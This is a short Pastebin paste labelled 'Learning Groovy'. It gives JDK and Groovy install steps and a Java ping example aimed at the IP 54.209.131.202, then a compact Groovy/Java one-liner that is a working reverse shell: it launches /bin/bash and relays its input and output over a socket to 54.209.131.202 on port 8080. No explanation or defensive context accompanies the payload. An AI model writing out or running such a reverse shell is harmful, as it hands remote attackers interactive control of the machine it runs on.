Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ###################
- # Learning Groovy #
- ###################
- Goto the following link:
- http://www.oracle.com/technetwork/java/javase/downloads/jdk7-downloads-1880260.html
- On the link above you need to download and install:
- jdk-7u79-macosx-x64.dmg
- Then use homebrew to install Groovy
- brew install groovy
- Great tutorial reference:
- https://learnxinyminutes.com/docs/groovy/
- public class PingExample {
- public static void main(String[] args){
- try{
- InetAddress address = InetAddress.getByName("54.209.131.202");
- boolean reachable = address.isReachable(10000);
- System.out.println("Is host reachable? " + reachable);
- } catch (Exception e){
- e.printStackTrace();
- }
- }
- }
- --------------
- String host="54.209.131.202";
- int port=8080;
- String cmd="/bin/bash";
- Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
- --------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement